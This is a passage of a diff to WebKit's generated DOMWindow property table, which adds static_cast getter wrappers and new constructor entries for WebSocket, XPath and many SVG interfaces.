+    { "OverflowEvent", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowOverflowEventConstructor), (intptr_t)setJSDOMWindowOverflowEventConstructor },
+    { "PageTransitionEvent", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowPageTransitionEventConstructor), (intptr_t)setJSDOMWindowPageTransitionEventConstructor },
+    { "ProgressEvent", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowProgressEventConstructor), (intptr_t)setJSDOMWindowProgressEventConstructor },
+    { "TextEvent", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowTextEventConstructor), (intptr_t)setJSDOMWindowTextEventConstructor },
+    { "UIEvent", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowUIEventConstructor), (intptr_t)setJSDOMWindowUIEventConstructor },
+    { "WebKitAnimationEvent", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowWebKitAnimationEventConstructor), (intptr_t)setJSDOMWindowWebKitAnimationEventConstructor },
+    { "WebKitTransitionEvent", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowWebKitTransitionEventConstructor), (intptr_t)setJSDOMWindowWebKitTransitionEventConstructor },
+    { "WheelEvent", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowWheelEventConstructor), (intptr_t)setJSDOMWindowWheelEventConstructor },
+    { "MessageEvent", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowMessageEventConstructor), (intptr_t)setJSDOMWindowMessageEventConstructor },
+    { "EventException", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowEventExceptionConstructor), (intptr_t)setJSDOMWindowEventExceptionConstructor },
+    { "WebKitCSSKeyframeRule", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowWebKitCSSKeyframeRuleConstructor), (intptr_t)setJSDOMWindowWebKitCSSKeyframeRuleConstructor },
+    { "WebKitCSSKeyframesRule", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowWebKitCSSKeyframesRuleConstructor), (intptr_t)setJSDOMWindowWebKitCSSKeyframesRuleConstructor },
+    { "WebKitCSSMatrix", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowWebKitCSSMatrixConstructor), (intptr_t)setJSDOMWindowWebKitCSSMatrixConstructor },
+    { "WebKitPoint", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowWebKitPointConstructor), (intptr_t)setJSDOMWindowWebKitPointConstructor },
+    { "Clipboard", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowClipboardConstructor), (intptr_t)setJSDOMWindowClipboardConstructor },
+    { "File", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowFileConstructor), (intptr_t)setJSDOMWindowFileConstructor },
+    { "FileList", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowFileListConstructor), (intptr_t)setJSDOMWindowFileListConstructor },
+    { "Blob", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowBlobConstructor), (intptr_t)setJSDOMWindowBlobConstructor },
+    { "NodeFilter", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowNodeFilterConstructor), (intptr_t)setJSDOMWindowNodeFilterConstructor },
+    { "Range", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowRangeConstructor), (intptr_t)setJSDOMWindowRangeConstructor },
+    { "RangeException", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowRangeExceptionConstructor), (intptr_t)setJSDOMWindowRangeExceptionConstructor },
+    { "EventSource", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowEventSourceConstructor), (intptr_t)setJSDOMWindowEventSourceConstructor },
+    { "XMLDocument", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowXMLDocumentConstructor), (intptr_t)setJSDOMWindowXMLDocumentConstructor },
+    { "DOMParser", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowDOMParserConstructor), (intptr_t)setJSDOMWindowDOMParserConstructor },
+    { "XMLSerializer", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowXMLSerializerConstructor), (intptr_t)setJSDOMWindowXMLSerializerConstructor },
+    { "XMLHttpRequest", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowXMLHttpRequestConstructor), (intptr_t)setJSDOMWindowXMLHttpRequestConstructor },
+    { "XMLHttpRequestUpload", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowXMLHttpRequestUploadConstructor), (intptr_t)setJSDOMWindowXMLHttpRequestUploadConstructor },
+    { "XMLHttpRequestException", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowXMLHttpRequestExceptionConstructor), (intptr_t)setJSDOMWindowXMLHttpRequestExceptionConstructor },
 #if ENABLE(XSLT)
-    { "XSLTProcessor", DontDelete, (intptr_t)jsDOMWindowXSLTProcessorConstructor, (intptr_t)setJSDOMWindowXSLTProcessorConstructor },
+    { "XSLTProcessor", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowXSLTProcessorConstructor), (intptr_t)setJSDOMWindowXSLTProcessorConstructor },
 #endif
-    { "MessagePort", DontDelete, (intptr_t)jsDOMWindowMessagePortConstructor, (intptr_t)setJSDOMWindowMessagePortConstructor },
-    { "MessageChannel", DontDelete, (intptr_t)jsDOMWindowMessageChannelConstructor, (intptr_t)setJSDOMWindowMessageChannelConstructor },
-    { "Worker", DontDelete, (intptr_t)jsDOMWindowWorkerConstructor, (intptr_t)setJSDOMWindowWorkerConstructor },
-    { "SharedWorker", DontDelete, (intptr_t)jsDOMWindowSharedWorkerConstructor, (intptr_t)setJSDOMWindowSharedWorkerConstructor },
-    { "Plugin", DontDelete, (intptr_t)jsDOMWindowPluginConstructor, (intptr_t)setJSDOMWindowPluginConstructor },
-    { "PluginArray", DontDelete, (intptr_t)jsDOMWindowPluginArrayConstructor, (intptr_t)setJSDOMWindowPluginArrayConstructor },
-    { "MimeType", DontDelete, (intptr_t)jsDOMWindowMimeTypeConstructor, (intptr_t)setJSDOMWindowMimeTypeConstructor },
-    { "MimeTypeArray", DontDelete, (intptr_t)jsDOMWindowMimeTypeArrayConstructor, (intptr_t)setJSDOMWindowMimeTypeArrayConstructor },
-    { "ClientRect", DontDelete, (intptr_t)jsDOMWindowClientRectConstructor, (intptr_t)setJSDOMWindowClientRectConstructor },
-    { "ClientRectList", DontDelete, (intptr_t)jsDOMWindowClientRectListConstructor, (intptr_t)setJSDOMWindowClientRectListConstructor },
-    { "Storage", DontDelete, (intptr_t)jsDOMWindowStorageConstructor, (intptr_t)setJSDOMWindowStorageConstructor },
-    { "StorageEvent", DontDelete, (intptr_t)jsDOMWindowStorageEventConstructor, (intptr_t)setJSDOMWindowStorageEventConstructor },
+    { "MessagePort", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowMessagePortConstructor), (intptr_t)setJSDOMWindowMessagePortConstructor },
+    { "MessageChannel", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowMessageChannelConstructor), (intptr_t)setJSDOMWindowMessageChannelConstructor },
+    { "Worker", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowWorkerConstructor), (intptr_t)setJSDOMWindowWorkerConstructor },
+    { "SharedWorker", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSharedWorkerConstructor), (intptr_t)setJSDOMWindowSharedWorkerConstructor },
+    { "WebSocket", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowWebSocketConstructor), (intptr_t)setJSDOMWindowWebSocketConstructor },
+    { "Plugin", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowPluginConstructor), (intptr_t)setJSDOMWindowPluginConstructor },
+    { "PluginArray", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowPluginArrayConstructor), (intptr_t)setJSDOMWindowPluginArrayConstructor },
+    { "MimeType", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowMimeTypeConstructor), (intptr_t)setJSDOMWindowMimeTypeConstructor },
+    { "MimeTypeArray", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowMimeTypeArrayConstructor), (intptr_t)setJSDOMWindowMimeTypeArrayConstructor },
+    { "ClientRect", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowClientRectConstructor), (intptr_t)setJSDOMWindowClientRectConstructor },
+    { "ClientRectList", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowClientRectListConstructor), (intptr_t)setJSDOMWindowClientRectListConstructor },
+    { "Storage", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowStorageConstructor), (intptr_t)setJSDOMWindowStorageConstructor },
+    { "StorageEvent", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowStorageEventConstructor), (intptr_t)setJSDOMWindowStorageEventConstructor },
 #if ENABLE(VIDEO)
-    { "Audio", DontDelete, (intptr_t)jsDOMWindowAudioConstructor, (intptr_t)setJSDOMWindowAudioConstructor },
+    { "Audio", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowAudioConstructor), (intptr_t)setJSDOMWindowAudioConstructor },
 #endif
 #if ENABLE(VIDEO)
-    { "HTMLAudioElement", DontDelete, (intptr_t)jsDOMWindowHTMLAudioElementConstructor, (intptr_t)setJSDOMWindowHTMLAudioElementConstructor },
+    { "HTMLAudioElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLAudioElementConstructor), (intptr_t)setJSDOMWindowHTMLAudioElementConstructor },
 #endif
 #if ENABLE(VIDEO)
-    { "HTMLMediaElement", DontDelete, (intptr_t)jsDOMWindowHTMLMediaElementConstructor, (intptr_t)setJSDOMWindowHTMLMediaElementConstructor },
+    { "HTMLMediaElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLMediaElementConstructor), (intptr_t)setJSDOMWindowHTMLMediaElementConstructor },
 #endif
 #if ENABLE(VIDEO)
-    { "HTMLVideoElement", DontDelete, (intptr_t)jsDOMWindowHTMLVideoElementConstructor, (intptr_t)setJSDOMWindowHTMLVideoElementConstructor },
+    { "HTMLVideoElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowHTMLVideoElementConstructor), (intptr_t)setJSDOMWindowHTMLVideoElementConstructor },
 #endif
 #if ENABLE(VIDEO)
-    { "MediaError", DontDelete, (intptr_t)jsDOMWindowMediaErrorConstructor, (intptr_t)setJSDOMWindowMediaErrorConstructor },
+    { "MediaError", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowMediaErrorConstructor), (intptr_t)setJSDOMWindowMediaErrorConstructor },
+#endif
+    { "XPathEvaluator", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowXPathEvaluatorConstructor), (intptr_t)setJSDOMWindowXPathEvaluatorConstructor },
+    { "XPathResult", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowXPathResultConstructor), (intptr_t)setJSDOMWindowXPathResultConstructor },
+    { "XPathException", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowXPathExceptionConstructor), (intptr_t)setJSDOMWindowXPathExceptionConstructor },
+    { "SVGAElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGAElementConstructor), (intptr_t)setJSDOMWindowSVGAElementConstructor },
+    { "SVGAngle", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGAngleConstructor), (intptr_t)setJSDOMWindowSVGAngleConstructor },
+    { "SVGAnimatedAngle", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGAnimatedAngleConstructor), (intptr_t)setJSDOMWindowSVGAnimatedAngleConstructor },
+    { "SVGAnimatedBoolean", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGAnimatedBooleanConstructor), (intptr_t)setJSDOMWindowSVGAnimatedBooleanConstructor },
+    { "SVGAnimatedEnumeration", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGAnimatedEnumerationConstructor), (intptr_t)setJSDOMWindowSVGAnimatedEnumerationConstructor },
+    { "SVGAnimatedInteger", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGAnimatedIntegerConstructor), (intptr_t)setJSDOMWindowSVGAnimatedIntegerConstructor },
+    { "SVGAnimatedLength", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGAnimatedLengthConstructor), (intptr_t)setJSDOMWindowSVGAnimatedLengthConstructor },
+    { "SVGAnimatedLengthList", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGAnimatedLengthListConstructor), (intptr_t)setJSDOMWindowSVGAnimatedLengthListConstructor },
+    { "SVGAnimatedNumber", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGAnimatedNumberConstructor), (intptr_t)setJSDOMWindowSVGAnimatedNumberConstructor },
+    { "SVGAnimatedNumberList", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGAnimatedNumberListConstructor), (intptr_t)setJSDOMWindowSVGAnimatedNumberListConstructor },
+    { "SVGAnimatedPreserveAspectRatio", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGAnimatedPreserveAspectRatioConstructor), (intptr_t)setJSDOMWindowSVGAnimatedPreserveAspectRatioConstructor },
+    { "SVGAnimatedRect", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGAnimatedRectConstructor), (intptr_t)setJSDOMWindowSVGAnimatedRectConstructor },
+    { "SVGAnimatedString", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGAnimatedStringConstructor), (intptr_t)setJSDOMWindowSVGAnimatedStringConstructor },
+    { "SVGAnimatedTransformList", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGAnimatedTransformListConstructor), (intptr_t)setJSDOMWindowSVGAnimatedTransformListConstructor },
+    { "SVGCircleElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGCircleElementConstructor), (intptr_t)setJSDOMWindowSVGCircleElementConstructor },
+    { "SVGClipPathElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGClipPathElementConstructor), (intptr_t)setJSDOMWindowSVGClipPathElementConstructor },
+    { "SVGColor", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGColorConstructor), (intptr_t)setJSDOMWindowSVGColorConstructor },
+    { "SVGCursorElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGCursorElementConstructor), (intptr_t)setJSDOMWindowSVGCursorElementConstructor },
+    { "SVGDefsElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGDefsElementConstructor), (intptr_t)setJSDOMWindowSVGDefsElementConstructor },
+    { "SVGDescElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGDescElementConstructor), (intptr_t)setJSDOMWindowSVGDescElementConstructor },
+    { "SVGDocument", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGDocumentConstructor), (intptr_t)setJSDOMWindowSVGDocumentConstructor },
+    { "SVGElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGElementConstructor), (intptr_t)setJSDOMWindowSVGElementConstructor },
+    { "SVGElementInstance", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGElementInstanceConstructor), (intptr_t)setJSDOMWindowSVGElementInstanceConstructor },
+    { "SVGElementInstanceList", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGElementInstanceListConstructor), (intptr_t)setJSDOMWindowSVGElementInstanceListConstructor },
+    { "SVGEllipseElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGEllipseElementConstructor), (intptr_t)setJSDOMWindowSVGEllipseElementConstructor },
+    { "SVGException", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGExceptionConstructor), (intptr_t)setJSDOMWindowSVGExceptionConstructor },
+    { "SVGGElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGGElementConstructor), (intptr_t)setJSDOMWindowSVGGElementConstructor },
+    { "SVGGradientElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGGradientElementConstructor), (intptr_t)setJSDOMWindowSVGGradientElementConstructor },
+    { "SVGImageElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGImageElementConstructor), (intptr_t)setJSDOMWindowSVGImageElementConstructor },
+    { "SVGLength", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGLengthConstructor), (intptr_t)setJSDOMWindowSVGLengthConstructor },
+    { "SVGLengthList", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGLengthListConstructor), (intptr_t)setJSDOMWindowSVGLengthListConstructor },
+    { "SVGLinearGradientElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGLinearGradientElementConstructor), (intptr_t)setJSDOMWindowSVGLinearGradientElementConstructor },
+    { "SVGLineElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGLineElementConstructor), (intptr_t)setJSDOMWindowSVGLineElementConstructor },
+    { "SVGMarkerElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGMarkerElementConstructor), (intptr_t)setJSDOMWindowSVGMarkerElementConstructor },
+    { "SVGMaskElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGMaskElementConstructor), (intptr_t)setJSDOMWindowSVGMaskElementConstructor },
+    { "SVGMatrix", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGMatrixConstructor), (intptr_t)setJSDOMWindowSVGMatrixConstructor },
+    { "SVGMetadataElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGMetadataElementConstructor), (intptr_t)setJSDOMWindowSVGMetadataElementConstructor },
+    { "SVGNumber", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGNumberConstructor), (intptr_t)setJSDOMWindowSVGNumberConstructor },
+    { "SVGNumberList", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGNumberListConstructor), (intptr_t)setJSDOMWindowSVGNumberListConstructor },
+    { "SVGPaint", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGPaintConstructor), (intptr_t)setJSDOMWindowSVGPaintConstructor },
+    { "SVGPathElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGPathElementConstructor), (intptr_t)setJSDOMWindowSVGPathElementConstructor },
+    { "SVGPathSeg", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGPathSegConstructor), (intptr_t)setJSDOMWindowSVGPathSegConstructor },
+    { "SVGPathSegArcAbs", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGPathSegArcAbsConstructor), (intptr_t)setJSDOMWindowSVGPathSegArcAbsConstructor },
+    { "SVGPathSegArcRel", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGPathSegArcRelConstructor), (intptr_t)setJSDOMWindowSVGPathSegArcRelConstructor },
+    { "SVGPathSegClosePath", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGPathSegClosePathConstructor), (intptr_t)setJSDOMWindowSVGPathSegClosePathConstructor },
+    { "SVGPathSegCurvetoCubicAbs", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGPathSegCurvetoCubicAbsConstructor), (intptr_t)setJSDOMWindowSVGPathSegCurvetoCubicAbsConstructor },
+    { "SVGPathSegCurvetoCubicRel", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGPathSegCurvetoCubicRelConstructor), (intptr_t)setJSDOMWindowSVGPathSegCurvetoCubicRelConstructor },
+    { "SVGPathSegCurvetoCubicSmoothAbs", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGPathSegCurvetoCubicSmoothAbsConstructor), (intptr_t)setJSDOMWindowSVGPathSegCurvetoCubicSmoothAbsConstructor },
+    { "SVGPathSegCurvetoCubicSmoothRel", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGPathSegCurvetoCubicSmoothRelConstructor), (intptr_t)setJSDOMWindowSVGPathSegCurvetoCubicSmoothRelConstructor },
+    { "SVGPathSegCurvetoQuadraticAbs", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGPathSegCurvetoQuadraticAbsConstructor), (intptr_t)setJSDOMWindowSVGPathSegCurvetoQuadraticAbsConstructor },
+    { "SVGPathSegCurvetoQuadraticRel", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGPathSegCurvetoQuadraticRelConstructor), (intptr_t)setJSDOMWindowSVGPathSegCurvetoQuadraticRelConstructor },
+    { "SVGPathSegCurvetoQuadraticSmoothAbs", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGPathSegCurvetoQuadraticSmoothAbsConstructor), (intptr_t)setJSDOMWindowSVGPathSegCurvetoQuadraticSmoothAbsConstructor },
+    { "SVGPathSegCurvetoQuadraticSmoothRel", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGPathSegCurvetoQuadraticSmoothRelConstructor), (intptr_t)setJSDOMWindowSVGPathSegCurvetoQuadraticSmoothRelConstructor },
+    { "SVGPathSegLinetoAbs", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGPathSegLinetoAbsConstructor), (intptr_t)setJSDOMWindowSVGPathSegLinetoAbsConstructor },
+    { "SVGPathSegLinetoHorizontalAbs", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGPathSegLinetoHorizontalAbsConstructor), (intptr_t)setJSDOMWindowSVGPathSegLinetoHorizontalAbsConstructor },
+    { "SVGPathSegLinetoHorizontalRel", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGPathSegLinetoHorizontalRelConstructor), (intptr_t)setJSDOMWindowSVGPathSegLinetoHorizontalRelConstructor },
+    { "SVGPathSegLinetoRel", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGPathSegLinetoRelConstructor), (intptr_t)setJSDOMWindowSVGPathSegLinetoRelConstructor },
+    { "SVGPathSegLinetoVerticalAbs", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGPathSegLinetoVerticalAbsConstructor), (intptr_t)setJSDOMWindowSVGPathSegLinetoVerticalAbsConstructor },
+    { "SVGPathSegLinetoVerticalRel", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGPathSegLinetoVerticalRelConstructor), (intptr_t)setJSDOMWindowSVGPathSegLinetoVerticalRelConstructor },
+    { "SVGPathSegList", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGPathSegListConstructor), (intptr_t)setJSDOMWindowSVGPathSegListConstructor },
+    { "SVGPathSegMovetoAbs", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGPathSegMovetoAbsConstructor), (intptr_t)setJSDOMWindowSVGPathSegMovetoAbsConstructor },
+    { "SVGPathSegMovetoRel", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGPathSegMovetoRelConstructor), (intptr_t)setJSDOMWindowSVGPathSegMovetoRelConstructor },
+    { "SVGPatternElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGPatternElementConstructor), (intptr_t)setJSDOMWindowSVGPatternElementConstructor },
+    { "SVGPoint", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGPointConstructor), (intptr_t)setJSDOMWindowSVGPointConstructor },
+    { "SVGPointList", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGPointListConstructor), (intptr_t)setJSDOMWindowSVGPointListConstructor },
+    { "SVGPolygonElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGPolygonElementConstructor), (intptr_t)setJSDOMWindowSVGPolygonElementConstructor },
+    { "SVGPolylineElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGPolylineElementConstructor), (intptr_t)setJSDOMWindowSVGPolylineElementConstructor },
+    { "SVGPreserveAspectRatio", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGPreserveAspectRatioConstructor), (intptr_t)setJSDOMWindowSVGPreserveAspectRatioConstructor },
+    { "SVGRadialGradientElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGRadialGradientElementConstructor), (intptr_t)setJSDOMWindowSVGRadialGradientElementConstructor },
+    { "SVGRect", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGRectConstructor), (intptr_t)setJSDOMWindowSVGRectConstructor },
+    { "SVGRectElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGRectElementConstructor), (intptr_t)setJSDOMWindowSVGRectElementConstructor },
+    { "SVGRenderingIntent", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGRenderingIntentConstructor), (intptr_t)setJSDOMWindowSVGRenderingIntentConstructor },
+    { "SVGScriptElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGScriptElementConstructor), (intptr_t)setJSDOMWindowSVGScriptElementConstructor },
+    { "SVGStopElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGStopElementConstructor), (intptr_t)setJSDOMWindowSVGStopElementConstructor },
+    { "SVGStringList", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGStringListConstructor), (intptr_t)setJSDOMWindowSVGStringListConstructor },
+    { "SVGStyleElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGStyleElementConstructor), (intptr_t)setJSDOMWindowSVGStyleElementConstructor },
+    { "SVGSVGElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGSVGElementConstructor), (intptr_t)setJSDOMWindowSVGSVGElementConstructor },
+    { "SVGSwitchElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGSwitchElementConstructor), (intptr_t)setJSDOMWindowSVGSwitchElementConstructor },
+    { "SVGSymbolElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGSymbolElementConstructor), (intptr_t)setJSDOMWindowSVGSymbolElementConstructor },
+    { "SVGTextContentElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGTextContentElementConstructor), (intptr_t)setJSDOMWindowSVGTextContentElementConstructor },
+    { "SVGTextElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGTextElementConstructor), (intptr_t)setJSDOMWindowSVGTextElementConstructor },
+    { "SVGTextPathElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGTextPathElementConstructor), (intptr_t)setJSDOMWindowSVGTextPathElementConstructor },
+    { "SVGTextPositioningElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGTextPositioningElementConstructor), (intptr_t)setJSDOMWindowSVGTextPositioningElementConstructor },
+    { "SVGTitleElement", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMWindowSVGTitleElementConstructor), (intptr_t)setJSDOMWindowSVGTitleElementConstructor },
